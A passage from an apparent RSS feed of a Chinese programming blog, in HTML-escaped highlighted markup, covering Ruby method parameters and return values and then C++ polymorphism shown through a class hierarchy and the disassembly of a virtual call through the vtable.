&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;hello&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;world&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; &amp;#34;hello world&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="method-参数"&gt;Method 参数&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hi&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hi &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; &amp;#34;hi code&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hi&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; is &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;code&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; &amp;#34;code is 32&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;54&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; &amp;#34;code is 54&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="method-返回值"&gt;Method 返回值&lt;/h3&gt;
&lt;p&gt;凡有方法都有返回值，方法体最后一行代码的返回值默认会做为方法的返回值，也可以显式的使用return关键字&lt;/p&gt;</description></item><item><title>Cpp7 C++的多态实现 — 虚表</title><link>https://luodaoyi.com/posts/cpp7-c-%E7%9A%84%E5%A4%9A%E6%80%81%E5%AE%9E%E7%8E%B0-%E8%99%9A%E8%A1%A8-cpp7c%E7%9A%84%E5%A4%9A%E6%80%81%E5%AE%9E%E7%8E%B0%E8%99%9A%E8%A1%A8/</link><pubDate>Fri, 16 Feb 2018 14:42:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/cpp7-c-%E7%9A%84%E5%A4%9A%E6%80%81%E5%AE%9E%E7%8E%B0-%E8%99%9A%E8%A1%A8-cpp7c%E7%9A%84%E5%A4%9A%E6%80%81%E5%AE%9E%E7%8E%B0%E8%99%9A%E8%A1%A8/</guid><description>&lt;h2 id="多态的实现原理"&gt;多态的实现原理&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;span class="lnt"&gt;56
&lt;/span&gt;&lt;span class="lnt"&gt;57
&lt;/span&gt;&lt;span class="lnt"&gt;58
&lt;/span&gt;&lt;span class="lnt"&gt;59
&lt;/span&gt;&lt;span class="lnt"&gt;60
&lt;/span&gt;&lt;span class="lnt"&gt;61
&lt;/span&gt;&lt;span class="lnt"&gt;62
&lt;/span&gt;&lt;span class="lnt"&gt;63
&lt;/span&gt;&lt;span class="lnt"&gt;64
&lt;/span&gt;&lt;span class="lnt"&gt;65
&lt;/span&gt;&lt;span class="lnt"&gt;66
&lt;/span&gt;&lt;span class="lnt"&gt;67
&lt;/span&gt;&lt;span class="lnt"&gt;68
&lt;/span&gt;&lt;span class="lnt"&gt;69
&lt;/span&gt;&lt;span class="lnt"&gt;70
&lt;/span&gt;&lt;span class="lnt"&gt;71
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;#34;stdafx.h&amp;#34;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;A&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;virtual&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Test&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;A &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;protected&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;B&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Test&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;B &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;protected&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Test&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//我们发现在这里 调用的test函数 是b的 因为fun方法传入的对象是b b继承自a 这里体现了多态
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//反编译
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401050&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="n"&gt;ebp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401051&lt;/span&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;esp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401053&lt;/span&gt; &lt;span class="n"&gt;sub&lt;/span&gt; &lt;span class="n"&gt;esp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401056&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="n"&gt;ebx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401057&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="n"&gt;esi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0040105&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="n"&gt;edi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0040105&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="n"&gt;lea&lt;/span&gt; &lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,[&lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0040105&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401061&lt;/span&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;CCCCCCCCh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401066&lt;/span&gt; &lt;span class="n"&gt;rep&lt;/span&gt; &lt;span class="n"&gt;stos&lt;/span&gt; &lt;span class="n"&gt;dword&lt;/span&gt; &lt;span class="n"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Test&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0040106&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt; &lt;span class="n"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0040106&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt; &lt;span class="n"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0040106&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;esp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;0040106F&lt;/span&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt; &lt;span class="n"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401072&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;dword&lt;/span&gt; &lt;span class="n"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;//间接调用 + 虚表
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401074&lt;/span&gt; &lt;span class="n"&gt;cmp&lt;/span&gt; &lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;esp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401076&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;__chkesp&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;00401240&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ILT&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;Fun&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;YAXPAVA&lt;/span&gt;&lt;span class="err"&gt;@@@&lt;/span&gt;&lt;span class="n"&gt;Z&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401005&lt;/span&gt; &lt;span class="n"&gt;jmp&lt;/span&gt; &lt;span class="n"&gt;Fun&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;00401050&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ILT&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;??&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;QAE&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;XZ&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0040100&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="n"&gt;jmp&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;004011&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
